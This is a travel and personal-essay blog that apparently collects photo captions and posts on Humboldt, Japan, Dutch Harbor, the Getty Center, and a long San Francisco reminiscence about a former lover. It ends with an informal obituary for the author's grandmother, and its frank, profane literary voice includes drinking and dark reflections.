Getting High in Humboldt

Aerial photography of Capetown Coastline, Northern California, Humboldt

Capetown Coastline in Humboldt County, Northern California

Capetown Coastline in Humboldt County, Northern California

The Boys in the back, Chris & Alex, rocking out as usual

The Boys in the back, Chris & Alex, rocking out as usual

Always comforting, our pilot searching for our location asks, Where are we?

Always comforting, our pilot searching for our location asks, Where are we?

Tripping Overland began as many things, one of them being a way to forgo the necessity of air travel in getting there. There is always a better way to go than stepping into a metal poop with wings and jet fuel at location A to get to destination B. Sure, for the sake of expediency airtravel is a a necessary evil. And it’s safe. Well, woo-fucking-hoo, let’s just all get hopped up on travel-sized vodkas and ambien, and jump the next Aerobus to whatever-third-world-island-we’re-exploiting-now on some shitty five-day four-night tour to languish jet-lagged on whitesand beaches and have the indigenous serve us sanitized versions of local fare. Ok, maybe I am overstating the point.

The truth is I love flying. Who doesn’t? It’s the most invigorating feeling I have ever had apart from being in the ocean (or with a woman).

There are many ways to change perception, to enhance perspective, to attempt a parallax view, and flying in a Cessna 172 Skyhawk–a four-seat, single-engine, high-wing fixed-wing aircraft, the most successful mass produced light aircraft in history, which barely goes over 105 miles per hour, likely less when stuffed like a tin can–is one of the best.

Aerial photography of Humboldt County coastline and interior foothills © Brett Richardson & Alex McKenzie

Sailing the Seto Inland Sea

Sailing the Seto Inland Sea
Sailing the Seto Inland Sea

Sailing the Seto Inland Sea

Before Toyota, Nissan and Honda took over the world, ships ruled. The Seto Uchi Kai was once the main transport artery between Osaka and Kyushu. Now, as in my case, it’s often used as a passage for ferrying travelers from Osaka and Kobe to Shanghai, a trip that will cross the troubled waters of the East China Sea. Far right is the Great Seto Bridge which connects Okayama in Honshu and Kagawa in Shikoku across a series of five small islands. At 13 kilometers, it’s the world’s longest two-tiered bridge system, and at ¥3,500, maybe the most expensive to cross. From now on it’s nothing but water and sky and little in between.

Surviving Dutch Harbor

A video about Surviving the long and dark winter in Dutch Harbor until the midnight sun comes around in summer.

Golden Pond at Saiho-ji

The Golden Pond at Saiho-ji in Kyoto
The Golden Pond at Saiho-ji in Kyoto

The Golden Pond at Saiho-ji in Kyoto

To take the first tentative steps across the world one can only wish to begin a journey in peace, which was why I hitchhiked from the raucous, neon-lit world of Tokyo to the quiescent gardens of Kyoto.

I was guided to Saiho-ji, otherwise known as Koke-dera (moss-temple), by a local family as time-tested and honored as the temple itself. As it is a bit complicated to get into Saiho-ji (no walk-ins allowed), my Japanese family graciously aided me in my pursuit to gain audience there. In order to do so one must fill out a postcard and send by mail, soon recieving a postcard reply which will inform you of your day of visit at least one week ahead of schedule. The fee is payable upon arrival, at which time guests are required to enter the main temple hall and participate in a session of Zazen meditation, after which they are asked to write, with ink and brush, their names, address and a wish, to be kept by the monks. Guests then have 45 minutes to tour the infamous moss garden located to the east.

The grove of the moss garden of Saihō-ji was laid out as a circular promenade centered around ōgonchi, the Golden Pond shaped like the kanji for “heart” or “mind” (心 kokoro) and contains three small islands: Asahi Island (朝日島), Yūhi Island (夕日島), and Kiri Island (霧島). Said to be covered with more than 120 varieties of moss, the original design by Japanese gardener Musō Soseki included no moss whatsoever, but rather white sand. The moss is said to have started growing after the flooding of the temple grounds in the early Edo Period when there was little money for upkeep.

Asahi island at the Golden Pond at Saiho-ji

Asahi island at the Golden Pond at Saiho-ji

Shell Oil Arctic Drillship Noble Discoverer Runs Aground in Dutch Harbor

Shell Oil Noble Discoverer afloat in Dutch Harbor
Shell Oil Noble Discoverer afloat in Dutch Harbor

Shell Oil Noble Discoverer afloat in Dutch Harbor

Saturday, July 14th, 2012 the Shell Oil Arctic Drillship Noble Discoverer, one of two Shell ships that will drill exploratory oil wells in the Arctic waters of Alaska’s Chukchi and Beaufort Seas, came loose from its moorings in Dutch Harbor, Alaska, and ran aground on Airport Beach in Unalaska Bay. The Coast Guard, which is monitoring the situation, said that Shell is not reporting that it ran aground. Photos say otherwise.

“While moored off the coast of Dutch Harbor, the Noble Discoverer drill ship drifted toward land and stopped very near the coast. One of Shell’s vessels, the Lauren Foss, then safely towed the Discoverer to its prior mooring position,” Shell spokesman Curtis Smith said in a statement. Francis attributes the drift to winds and the soft seabed of Unalaska Bay which allowed the ship to drag its anchor.

From an Dutch Harbor Telegraph Op-ed the day after the non-disaster: “The grounding of the Noble Discoverer is not a disaster in the ecological or even maritime sense. There most likely is very little damage to the ship. Maybe none. But this is the exact sort of lapse in attention which caused the Exxon Valdez to run up on Bligh Reef. Was somebody on watch busy with Facebook? Nobody looked out a porthole to notice the vessel’s position had changed? No Shell worker on shore looked out their hotel window and said ‘Whoa!’

Greenpeace doesn’t have to say a thing. Shell has said it all.”

On a related story from the Center For Biological Diversity: “The company has admitted that its Arctic drillship Noble Discoverer and its oil-spill response vessel Nanuq can’t meet the air-pollution standards in its Clean Air Act permit from the Environmental Protection Agency. Shell’s own documents show that the company knew back in 2010 that it couldn’t meet its permit requirements — but instead of fixing the problem, it’s waited till the eleventh hour to ask the EPA for a waiver to just let it drill in the Arctic, sidestepping these strict air-quality protections.

Shell has told the media it’s certain the EPA will let it move forward — despite the fact that its drillship is going to emit three times the amount of harmful nitrogen oxides allowed, and its oil-response vessel is going to emit 10 times the amount of particulate matter pollution.”

The Shell Oil Kulluk Oil Rig waits in the reflection of  Makushin Range

The Shell Oil Kulluk Oil Rig waits in the reflection of Makushin Range

Sunday at the Getty Center

Van Gogh's Irises at the Getty Museum
Guided by the glide at the Getty

Guided by the glide at the Getty

Located in the lowland foothills in the beginnings of the Santa Monica Mountains, just above the 405 freeway in a northerly Brentwood neighborhood of Los Angeles, this is the oilman J. Paul Getty’s gift to the masses. This free museum (parking is $15), designed to pay homage to various Greek & Roman history, specializes in “pre-20th-century European paintings, drawings, illuminated manuscripts, sculpture, and decorative arts; and 19th- and 20th-century American and European photographs”. Among the works on display is the painting Irises by Vincent van Gogh, pictured below.

But it’s more than just a museum, as a “quick” walk-around will show. There are a number of outdoor sculptures on display in the various terraced gardens spread about the campus designed by architect Richard Meier. A highlight is Robert Irwin’s living sculpture central garden, with its circular odeon-style motif of the play of water. The view from the southeast wall, replete with cactus gardens and modernist architecture overlooks the southland, moves in a parabola from the curvaceous blue-sky laden beaches to the densely-packed smoggy urban sprawl, while you caress your lover from the safe distance of the hilltop.

Redwood Creek Beach State Park

Driftwood at Redwood Creek Beach State Park
Driftwood at Redwood Creek Beach State Park

Driftwood at Redwood Creek Beach State Park

Redwood Creek Beach State Park is where the Redwood Creek, one of three major rivers and watersheds that runs through Redwood National Park, ends. It enters the Pacific Ocean just north of the southern boundary of Redwood National Park, near Orick. The Redwood Creek Estuary is located along the coast near the Kuchel Visitor Center. But the beach, though abounding with beautifully jutting rocks and strewn redwood logs, does not make up the entire park. Located high above Redwood Creek, along Bald Hills Road, is the Redwood Creek Overlook, one the more noteworthy views in the park, providing exceptional vistas of Redwood Creek, its drainage, a number of strands of Redwood trees, and the Pacific coast. The nearby hillsides contain 9000 acres of old growth redwood, one of the largest collections still remaining. At one time the Tall Trees Grove, below the Redwood Overlook, was believed to contain the three tallest trees in the world. The tallest tree, believed to be about 600 years old and known as the “Libby Redwood”, was measured at 367.8 feet. In 2006, however, another tree inside the park was found to be the highest, although its location has not yet been released to the public. The altitude of the Redwood Creek Overlook is about 2000 feet; altitudes in the park range from sea level to 3100 feet. On slopes which are adjacent to alluvial flats, such as those visible from Redwood Overlook, there is a transition from Redwood to Douglas fir forests. Between 1000 and 1600 feet there is mixed Redwood and Evergreen forest. The Redwood forests have the climatic effect of removing moisture from mist and fog as it moves across the land, leaving inland areas drier. In the view from Redwood Creek Overlook, the marine layer of fog can be seen laying over the ocean as it is intercepted by the Redwood forests and coastal hills and mountains. From Visit Redwood Coast.

On Packing Up On Moving On – Tripping Overland Up North

Where Night Meets Dawn
Where Night Meets Dawn

Where Night Meets Dawn

I wake from a dreamless sleep in a dark cold. It feels as if there is nothing around me, not even the ground on which I lie, though I take this for granted as I am not falling. Trembling, I push myself up and attempt to feel my way through the chill nothingness, though where I am going, I don’t know. Barefoot and stumbling drunkenly, I eventually hit a wall. Gratefully I stand there, relieved and breathing hard, somewhat at peace, as if relaxing beneath a warm shower of water. Blindly, I roll the dice and choose to inch left along its cratered surface until I come to its ninety degree cohort and I catch a draught of cool air rushing in from somewhere overhead. My hands begin to paw frantically about in search of a switch, a cord, a knob, some sign of intelligent life other than these mute obelisk reflecting back the night. My eyes should have adjusted by now but I can still see nothing. It is getting colder. I begin to jog, running a guiding hand along the wall, counting time to measure the circumference of the room. But it is not long before I hit something hard with my foot and tumble face first into the cold hard floor. The generalized pain spreading across my head is welcome. It dissipates the fear and insecurity of the senselessness surrounding me. Something warm runs down my cheek as I reach my hand behind me to feel what I tripped over. My fingers flutter across the hard square like a butterfly in the sun. Feeling something other than myself and the wall is a tactile pleasure. I bring myself closer to it until I feel a hinge here, a hasp there—it’s a box. Open it, I scream in my head, drowning out the mean silence, but opening it does nothing more than add more mystery to the dark. What is inside of—what was that noise? A shifting shush, as silent as a woman’s hips in silk. I start to reach my hand, searching every corner in the surprisingly large box when out of the corner of my eye a pinprick of white appears. I realize I am looking up. I see the infinitesimal scintilla of starlight shoot toward a far off point in the invisible horizon. It is soon joined by a sibling. And another. And before long a vast panorama of iotas twinkle from one end of the endless black and amass toward a growing ball of illumination in the distance—a star. It is only after some indeterminable time has passed that I sense something touching me, that I realize something soft and matching black as the night is crawling up my arm. My attention goes back to the ball dancing about as it collects the tiny moths streaking toward its warm giving light. It grows so fast that it is impossible to tell how far away it actually is. The thing from the box continues to move up my arm, onto my shoulder. I look down but cannot see it, cannot see anything, except the star. The fear my brain tells me to feel concerning the unknown danger is allayed by this light, despite its lack of reflectivity. As it grows more rotund and takes a larger portion of what might be called the sky, it emits a warm fuzzy buzzing, the first sound I recognize hearing aside from my own internal voice. The warmth I feel as the thing wraps around my neck like a scarf on a chill winter’s night is somehow comforting rather than terrifying. Though amorphous like a liquid, I now have a sense of its size and shape, and can feel its blob-like body inching up the side of my head. Suddenly the star expands to almost double its size before retracting, and in time to the musical humming begins to pulsate in time, all the while still adding to its now massive rotundity. It is then that I catch the merest glimmer of a reflection of the black exoskeleton of the snakey-shaped thing crawling in my ear. Even then I feel no sense of impending dread or danger, though I begin to feel uncontrollably sleepy. The burgeoning star of light pulses and thrums ever larger and so close that as I reach out my hands to touch it I see the silhouettes of my fingers, tendrils of hair, the carotene shine of my nails. The thing slips completely into my head and my eyes close. I manage a last smile, still feeling the warmth of the star’s emission while falling back to the ground, as it somewhat comforts the blow of the unforgiving floor on my head.

Off and on for more than two months this is the dream that recurs in my sleep as I approach my departure date to moving to Alaska, though I tell no one. On the outside I am all sure smiles and confident control. On the inside I am pure recklessness, like the dream, unsure of which way to move in a dark and alien territory.

I begin to wear wool and flannel. I buy waterproof boots and a silk balaclava. I jump into rivers fully dressed to test my anti-bacterial quick-dry underwear. I move about from town to town, city to city, state to state in the western U.S. I have no home. Except my camera, a few books and the clothes on my back, I have no possessions to speak of. This is not a boast, but merely how I choose to live. In an age of amassing wealth and property, of resource wars and cataclysmic disasters, this concerted vagabond roaming is what comforts me. I am feeling my way through the darkness, grasping at invisible walls, tripping over unseen obstacles, experiencing the beauty and the terror simultaneously.

I understand how this may sound. I hear myself and I groan. Often my ego tells me to give it up kid, get a normal job, get married, have some babies and be respectable like the rest of us. The voice tells me that money is good, that it is really alright to clamor after the elusive muse of celebrity, to obsess over body image, to eat processed foods of indeterminate origin and healthfulness, to chase after the American Dream. Hey kid, what if everyone did what you are doing, shirked responsibility, bucked conventional wisdom, chased their dreams no matter how unrealistic? No one would get a damn thing done would they? Then, from out of some dark place, I hear myself growl, Fuck you voice of reason, fuck you.

The Great Wall of China at Changcheng (Manny Santiago)

The Great Wall of China at Changcheng

I look at my friends and my family and I see the sad grimaces they force on their faces when I come near, not wanting to ask what I am doing, but still trapped by the formality of language into cliched Q & As. Though occasionally we break through the patina of trite anecdotes, it doesn’t come as easily as it used to—mere drug use isn’t enough anymore. Not wanting to hear about anything that can’t be immediately grasped and understood, labeled and filed away under proper 21st century experience is still a great affliction of our close-minded reptile brains. It is understandable. Life is after all a lose-lose situation—everyone dies and it’s a slog to the end. We all are forced to watch our loved ones die. Just as we force others to watch us die. Jesus, how depressing. No wonder people need money, power, hardcore drugs, alcohol, nicotine, caffeine, sugar, sex, religion, politics, fascism, extremism, insanity, rock and roll and so on. Who doesn’t need something, more or less, along those lines? And who doesn’t have something to say about what is right and what is wrong not only for themselves, but for everyone else? O great ball of light, o great creature of the box, how to escape the tedious simplicity of human nature? There is no escape. One merely forges on through the cold darkness as far as we can into the occasional moments of illumination the external world sheds arbitrarily. I myself have always been attracted to that gorgeous moment of discovery in the midst of a single breathe, between the point of inhalation and exhalation, when time stops and the brain empties. The rest of the world falls away and you are left with whatever beauty you have surrounded yourself with, the makings of your own personal heaven: a pristine vista, a valley at sunrise, body-surfing in the ocean, fast cars and loud music, watching horses gallop, the smile of a loved one, the joy of accomplishment, or maybe just the first bite of a jelly glazed doughnut. Release.

It may be cold and distant, it may be invisible and impossible to find, it may be you don’t know where to begin, but it’s there if you want it to be. You just have to give chase. It’s time I started to take my own advice. So, I’m off to Alaska with my few books, my camera and bag of film, my waterproof boots and silk balaclava and my anti-bacterial quick-dry underwear. I will be in touch. I’m not dead yet.

Golden Gate Lines

She Loves Me. She Loves Me Not.
Golden Gate Perspective

Golden Gate Perspective

Follow her from the edges of the city and you will catch glimpses. Splashes of rust. Tall arches in subliminal parabolas. Bent steel. Rivets the size of children’s fists. Not just A but the bridge. The bridge to the west. The walkway at the end of the western world. And many more other platitudes as well. It is hard not to award her with a status above mere thing. The Golden Gate is a life-taker as well as a life-saver. Watch Eric Steel’s 2006 documentary, ominously entitled, The Bridge and you will find out what he did when he began a simple documentary on her storied history, which quickly turned into one of those unforgettable films you never want to see again. I have crossed her so many times–on foot bicycle car truck and bus, that it seems incredible to me to use her for anything other than getting to Lagunitas Brewery in Petaluma, but then again, for some, the water is a dark caller all her own.

Death in San Francisco

Cars rush off the cliff like lemmings at the Broadway Tunnel at Hyde Street in San Francisco

“East is East, and West is San Francisco.”

                                                — O.Henry

Cars rush off the cliff like lemmings at the Broadway Tunnel at Hyde Street in San Francisco

Cars rush off the cliff like lemmings at the Broadway Tunnel at Hyde Street in San Francisco

The brilliant curmudgeon Norman Mailer called Chicago “a great American city” yet allowed that she is a lady. H.L. Mencken noted the subtle but unmistakable sense of escape from the United States. John Steinbeck called it the golden handcuff with the key thrown away. A number of great things have been written about San Francisco by writers from all over the world, all beatifically blathering on about how wonderful it is that despite the vice and crime (or perhaps because of), the hippies and grime, America got one city absolutely right (excuse me Manhattan Island, but pound for pound you are no match). Much of this can be put down to the demure size of the peninsula which houses the city once dubbed Yerba Buena by the conquistadores who eventually sailed through what Spanish explorer Gaspar de Portolà called the most perfectly formed bay he had ever seen.

I say eventually because it was never discovered by ship, it—that bay of bays surrounding forty-nine square miles of peninsular beauty—was first seen (mistakenly at that) by the non-native eyes of a land-based hunting party of Portolà’s not until 1769. Imagine the eminent 16th century Portuguese explorer Juan Cabrillo (of Cabrillo Aquarium, Cabrillo Beach, Cabrillo Bridge, Cabrillo Day, Cabrillo High, Cabrillo Junior High, etc.), repeatedly sailing blissfully ignorant by its fog shrouded inlet and eventually founding Bahia de los Pinos at present day–and more obvious–Monterey Bay. Or a war weary and well-scurvied Sir Francis Drake claiming Point Reyes (just north of S.F. Bay and already a part of Spain) for the crown of England in 1579. Not to mention the hundreds of other Manila galleons sailing from the Philippines over the next hundred years. Why was it so hard to find? Or rather why didn’t the Spanish Empire between the time of Cabrillo and Portolà, when more than 200 years elapsed without so much as a landfall, realize they had for all intents and purposes found one of the crown jewels of the Americas?

Modern geologists cite poor telescopy and the odd alignments of Alcatraz and Angel Islands (which seem to align the mouth of the bay with the peninsula) as reasons. Other outre geologists have suggested that it—yes, the bay itself—did not exist at all until the 17th century and then only due to major earthquakes in 1630 and / or 1725 causing soil liquefaction which allowed the ocean to rush in (I like that one). Whatever the cause, the bloated and apathetic Spanish Empire did not take much interest in Alta California, much to the pleasure of the Bay Area Ohlone Indians, as well as at least one hundred other native tribes, until Russian fur traders had exploited their own lands and began to explore the beaver-rich Pacific Northwest. The time of the Spanish was nearly at an end, and even the newly liberated Mexicans soon felt the weight of the bastard progeny of gringo interlopers desire for gold.

For if it is not gold which has paved the streets of the dreams of every single immigrant that has fallen feet in San Francisco, then would it be those low-lying banks of fog themselves upon which we continue to shake our zombie voodoo money-makers that help obscure the true animal heart of the peninsula? Why should this land have any deeper meaning than any other? What makes San Francisco special? The fact that it was overlooked by the colonizers of the new world for so long, only to be finally discovered, built, shook, burned, rebuilt, and repeated ad infinitum—this level of rapid modernization rivals the post-WWII Japanese industrial machine. The shaking out of the raw and wild and replacing of nature with landmarks of human progress is almost nowhere better viewed than in the petri dish of San Francisco. Is it that it cannot no longer grow outward—can no longer physically represent the ever-expanding American waistline—and therefore has had to grow inward, exploring the dark and light which both dwell within the city’s self and the selves of the city’s denizens? This spacelessness is an almost unheard of phenomenon in the western United States and one that makes most Americans uncomfortable: the idea of limits, of limited expansion, of growth that is not unbounded, of profit that is not unlimited, the frightening thought that one day there may be no more gold to rush.

She Loves Me. She Loves Me Not.

She Loves Me. She Loves Me Not.

The City may be destroyed by any number of natural disasters tomorrow so we shall reap what we can today. So if not golden stones paving our boulevards, then let us press in capital Ps for Progress. Let it be that this experiment in European Americanism is taken as the vanguard of forward thinking civil libertarian peoples from all over the globe congregating in the two upper joints of an extended middle finger jutting out of the fist of California midsection in an an ode to guts and raw wilderness, and the pure visceral butterflies-in-the-stomach sensuality of dangling by the fingertips off the edge of a continent whose drop is shrouded in fog coupled with the intimacy of death by dagger, might go a little way to describing the mentality of the 800,000 odd people who call the City proper home.

The edge. A pair of legs bobbing over beneath the invisible gaze out into that big emptiness. It is that emptiness that resets us. It reminds us that whence we came, so too shall we return. The western border of mostly greyish-black seeming body of undulating water, the fury of life seething just beneath a mostly calm surface, occasionally breaks forth in resplendent blue-green song and foamy whitecap serenade and perhaps we can glimpse a gorgeous scintilla of life in the midst of all the mostly empty universe. San Francisco, with its masses of multi-colored people speaking manifold tongues and practicing strange customs set against a backdrop of billowing hills and blustery wind, cold summers and mild winters, does what other great cities do: it makes us feel small and insignificant, and safe in that smallness and protected in that insignificance. Whatever the reasons people have come to California, most who came to the western end of the United States saw the Pacific Ocean from beyond the Golden Gate Bridge and stayed.

If they couldn’t afford the City’s exorbitant rents they moved to Oakland and Berkeley to the east, San Mateo, San Jose and Santa Cruz to the south, while Marin and the Elysian wine fields of Sonoma, Napa and Mendocino which bolster the north of the central valley, while still just the seals and sharks and sundry other alien life housed in the vast emptiness of the Pacific Ocean to the west.

Despite those exorbitant rents and expensive prices, its warping tendencies and ritualistic vice, its impending disaster and self-destructive population I feel myself drawn to San Francisco. Not quite unlike just another moth caught in a hypnotizing shaft of light alongside so many others. I am a unique flower amongst the weeds of humanity. Am I not? She loves me. She loves me not. She loves me. She loves me not. She loves me?

“San Francisco itself is art, above all literary art. Every block is a short story, every hill a novel. Every home a poem, every dweller within immortal. That is the whole truth.”

                                                — William Saroyan

Midday on Mission street near the 24th street BART Station is busy as usual. I blend in to the crowd as I pass by the bar at least twice, maybe three times, glancing through the window facade trying to catch a glimpse of her before entering. Goddamn I wish still smoked. Is my shirt too nice? Why is everyone staring at me? Should I have rubbed one out before coming to meet her? No I don’t want any MDMA man, thanks anyway. I go in and deliberately do not look around, although I swear I can see her across the room, her booted feet on the tabletop showcasing legs stretched out in tight black jeans as she sips her Chimay and scrolls through her iPhone. Is this what the Trappist monks had in mind, I wonder? I order a Westmalle Tripel and wait for it to be poured. It is a slow burn that runs up my spine and chills my neck and I know she has spotted me. Don’t ask me how I know this. Call it intuition. Call it having feasted and fucked and fought our brains out tens years ago nestled in a warm apartment in the mountains of Matsumoto, Japan. Call it a guess.

Lady Boots and Belgian Beer (Manny Santiago)

Lady Boots and Belgian Beer

I get my beer and an idiot grin from the hipster creep behind the bar, turn away and walk toward where she sits languidly, making the wooden bench appear as if it were a 17th century chaise lounge out of Versailles. She looks up with her olive eyes glinting and smiles. Putting her phone away, she stands as I approach and we hug. In the instant it goes too long there is some kind of connection rekindled. Most every male in the place glance up from their mobile phones, look her up and down and wonders who the hell am I to be with her. We sit and clink glasses and cut through the obligatory small talk after ten years of not seeing one another. I follow the outlines of her heart-shaped lips, thin and delicate as they caress sounds out of her mouth, not listening to their meaning, but getting the gist. Her easy grace and effortless beauty make me feel charming. The strong Belgian ale helps us loosen up quickly and before long we are laughing and flirting. She touches my forearm and whatever anxiety and nervousness I may have been hanging onto melt away. We order sausages and another round of beer from the prick behind the counter, now incredulous at my company. I overtip him. Enjoying the buzzing of our heads, half from the alcohol, half from remembered passions, we wait for our food.

Forty-five minutes later we are done with our artisan sausages and finishing up our beers when I propose that we move on to a Tapas restaurant on upper Haight where I am meeting friends, good friends, blah blah blah, from out of the country who are leaving tomorrow. Her hands on the bench, balancing her subtle rocking, she nods several times, yes yes, with a girlish smile, she will come.

Everything is crowded in the city: the streets, the subway, the muni, the alleyways, the abandoned sofas, the fenced-off construction sites, the bars, the bathrooms, the women. It is a manageable crowd, the kind one gets used to, even gets to like, crowding out the creeping silence of death. Death is the last thing on your mind when you’re with a beautiful woman. Life takes all the chips. Everything is a sensual feast, all spring flowers and fecundity. The sounds of clinking glasses and raucous laughing enhance the pheromonal aromas of food and liquor laced with sweet and savory herbs, intensifying the delicate sexual ambiance like a chum thrown into a feeding frenzy. Men and women’s eyes wander covetously as they hunt around the room for bare skin on which to feast. The liquor is both a metaphor and literal reality for losing oneself in the sensuous comforts of opiate bliss, of gluttonous release, of ultimate death of fucking into oblivion.

Cha Cha Cha is no different. Moderately cheap and very fast, they have the business of getting people drunk and fed and fucked down to a happy science. A man walks into a bar. He is alone. No one cares. A man walks into a bar with an attractive woman and everyone wonders what is his secret. Does he have money? Power? A 12-inch cock? What is it, dammit?! What they never guess is that’s it’s none of the obvious crutches we use when our bank accounts are empty, when no one will follow our orders, when we are finally flacid—it’s an intrinsic trust in the prolific nature of the universe to provide. You must obey its nature—however arbitrary—and follow its path. But if you do, you will be full of, as we toasted tall glasses of Sangria to in the bar, “Amor, Salud and Pesetas.”

I was beginning to notice what everyone else already knew: she had lost her girlishness and was now a woman. Though older and, by dint of ruthless gravity, less firm, she was somehow more attractive than at 19. Her eyes, framed by locks of soft chestnut brown hair, replaced the immature posturing she once exuded and gave her face a depth of character and a softness of beauty I hadn’t ever experienced. Her skin was still tan and smooth, but she fit into it better, wore it like a gown rather than a skirt. Though now a woman in full bloom she was ripe with youthful vigor and had a particular sprinkling of lust about her that was unnerving. She had always possessed the ability to make men wither away with her directness and eye contact. That may have been why I was able to make her swoon, at least for a time, where others had failed: I didn’t blink. I never looked away. It scared the crap out of me to do so, but I could hold her gaze. Before I had a chance to consider how it happened I was clasped on the shoulder by my friends and we were soon entrenched in introductions and how-do-you-dos.

Aided by a second pitcher of Sangria, lots of little plates of spicy Caribbean-style tapas and fast, non-stop talk the day morphed into night. My friends had been traveling along the coast of Central California looking for alternative lifestyles for a Japanese magazine and they regaled us with strange stories of off-the-grid counter-culture still thriving along the pricey coastline. I rested my hand lightly on her thigh to get her attention, asking if that wouldn’t be the funnest thing ever. What exactly, she smiled flirtaciously, blinking in slow motion. Traveling together on the company dime, going to strange, exotic places and writing about it, filming it, whatever. What would I do, she asked. You would be the talent, I said. You will smile and flutter your lashes just like you’re doing now and say to the camera, wouldn’t you just love to be here with me? Now tell me that we can’t get paid to do that. I took away my hand and took a drink. I must have blinked. When I looked back she looked surprised, a little shocked, but still smiled. She picked up her drink and took a sip, putting her lips together, making a mmmmm sound and closed her eyes almost completely before turning back to the other conversation.

I didn’t realize it at the time but I had just lost her, again. Or maybe I had never had her, just amused her for a while. Regardless, she had awoken from whatever weak spell of words I had cast with the aid of alcohol and ambiance. After the meal had concluded and the excited talk still begged for more wine the four of us went to my friend’s apartment, a loaner from an ex-girlfriend, and continued into the wee hours. This happened every time we got together, we spent hours on end talking, eating, drinking, screwing. But this time was different. As the wine dried up and sleep overtook my friends, eventually she decided it was time to go. She asked me to walk with her. We walked along the outer edge of Golden Gate Park talking slightly in the iridescent light, the details of the conversation lost to the chill bay area mist blowing out to sea. The last thing she said before heading up the stoop to some stranger’s apartment was how special I was to her. She kissed me, flashed her eyes at mine, and never looked back. I continued walking and headed back to the park. Like a zombie smelling far off flesh, some nameless power drove me on through the park and toward the ocean.

Walking for hours felt like minutes and miles were mere inches by the time I reached the Great Highway running along the coast. I followed it to Point Lobos where I spied the ruins of the Sutro baths as the sun rose behind, eventually splashing certain of its shafts of golden pink light through the cloud cover. I trekked down the hilly path to the ruins, along the rocks and past the large defunct pool and continued north, climbing back up the trail to the top of the point. I stood there on the cliff for an interminable period of time and watched the seals diving for breakfast amidst the violent waves breaking on the jagged rocks. I projected myself out there, my body surfing in the waves, swimming with the seals, playing in the surf, catching fish with my teeth, eventually losing control and dashing against the rocks, the tide towing me in and out until the crabs got to me, cutting me down piece by piece, back to the sea. She loves me. She loves me not.

The Road to the End of the World

The Road to the End of the World

Tip one back for Janet Begley R.I.P.

Jack & Janet Begley at Marineland circa 1965
Jack & Janet Begley at Marineland circa 1965

Jack & Janet Begley at Marineland circa 1965

People die every day. Every year we lose millions. Most will pass on unknown. Some, like Indy 500 winner Dan Wheldon, who died at 33, in a car crash in this year’s race, go too soon. Others, like the CBS radio man Norman Corwin, who lasted to 101, take more than the average share.

Who else of note died this year? That’s easy. This was a big year:

Janet Sturtevant High School Graduation 1947

Janet Sturtevant High School Graduation 1947

The man who made Apple richer than the U.S. government, Steve Jobs, lost the battle to cancer at 56. Bert Schneider, producer of Easy Rider, lasted to 78. Easy on the eyes Elizabeth Taylor was 79. Peter Falk, Lt. Columbo, was 83. 12 Angry Men director Sydney Lumet was 86. Seductress Jane Russell was 89. Andy Rooney, famous in America as out-spoken complainer on 60 Minutes, was 92. Betty Ford was 93. Fitness guru Jack Lalanne practiced what he preached and he made it to 96. George Whitman, legendary Paris bookshop Shakespeare & Co. owner who helped struggling writers, made it to 98.

Smokin’ Joe Frazier, the first man to beat Muhammad Ali, was 67. The much maligned minority owner of the NFL’s Oakland Raiders Al Davis was 82. Bubba Smith was 66. Macho Man Randy Savage was 58.

Amy Winehouse, sang until she burst at age 27. “The Revolution Will Not Be Televised” Gil Scott-Heron was 62. Springsteen saxophonist Clarence Clemons was 69. Blues guitarist Hubert Sumlin was 80.

The defector daughter of Joseph Stalin, Lana Peters, was 85. It was a good year for seeing dictators and extremists get off the main stage: Dear Leader, Kim Jong Il, somehow made it to 69. As did the absurd dictator Moammar Kadafi. There may be something in that. Osama bin Laden was 54.

What about he who helped rather than hurt? Dr. Jack Kevorkian helped those in pain pass on was himself 83 when he went. A staunch fan of his to the end, my grandmother, Janet Elizabeth Begley died this December 11th at the age of 81. By her measure she had lived way too long, having finished what she was here to do long ago. If she were here now she would probably purse her lips and wonder sarcastically what all the fuss is about. She who taught me that “it’s five pm somewhere in the world,” would also be having a wee bit of Scotch.

If the newspapers weren’t crumbling from the same failing infrastructure her old-school Republican bones decried whenever she had tippled said Scotch, and obituaries didn’t cost in the thousands of dollars, what hers would have read was: Janet Elizabeth Begley née Sturtevant, of Canby, Oregon passed into the luminiferous aether sometime after nine a.m. on December 11th, 2011 due to failure of a heart that could finally take no more, stemming from a successful procedure to repair a broken hip. The second child of Cecil Sturtevant and Mary Ferris, and little sister to brother Donald, she popped into existence in Redlands, California on May 27th, 1930 (a younger brother, Peter Gumble, would be born more than a decade later). A tumultuous juvenility ensued through the Great Depression into a rebellious adolescence during World War II and early motherhood in the Baby Boom saw her deliver two children, Greg and Lari, into the world with her biker husband, Larry Nickens―a U.S. veteran―, whom the Fates did not deem a lifelong mate. Though it was not to be a simple life for single-mom Janet to raise her babes in the Leave It To Beaver ’50s, through her sacrifice and fortitude in the face of a still sexist America, she became a registered nurse and somehow managed to pave the way to a chicken in every pot and two cars in every driveway kind of life for her kids. It was not until the mid-sixties that Janet would meet the love of her life in Darrell ‘Jack’ Begley, whom she would love and live with for the rest of his life, in their adopted hometown of Long Beach, California. Now with a daily fatherly influence, the children grew up mostly healthy and mostly strong, and coupled with her brothers, gave Janet many nieces, nephews and grandchildren to love and care for. She quit her job as a nurse and dedicated her life to being the familial matriarch, a job which she adored, as she cracked wise about it with a thin brown More cigarette in one hand and a vodka soda in the other.

Janet Begley on her birthday 1965

Janet Begley on her birthday 1965

Throughout the ’80s and ’90s she saw her kids’ kids give birth to more kids and as her family grew, she and husband Jack moved throughout California to battle a wearying recession and her family’s annoying disposition for not staying put. Her son’s untimely death, a bout of lung cancer and even the burial of her husband Jack could not close the valve of her heart’s desire to beat on, and helped her live her last years in semi-rural northern Oregon, a climate for which she was not made. She breathed her last breath painlessly―after 81 years piled full of equal parts love and loss, pain and joy―slipping into a deep sleep from which she would never wake.

I would like to think that she would agree with Vaclav Havel, the recently deceased playwright president of former Czechoslovakia, whose motto was “May truth and love triumph over lies and hatred,” but I know that Marx’s famous “I don’t care to belong to a club that accepts people like me as members,” comes closer to her own worldview.

Raise your glasses people, for she is survived by her brother Pete, daughter Lari and lots of little ones still not staying put.

Dames and Drinks the Best of 2011

Drinks & Dames - Best of 2011
Drinks & Dames - Best of 2011

Drinks & Dames – Best of 2011

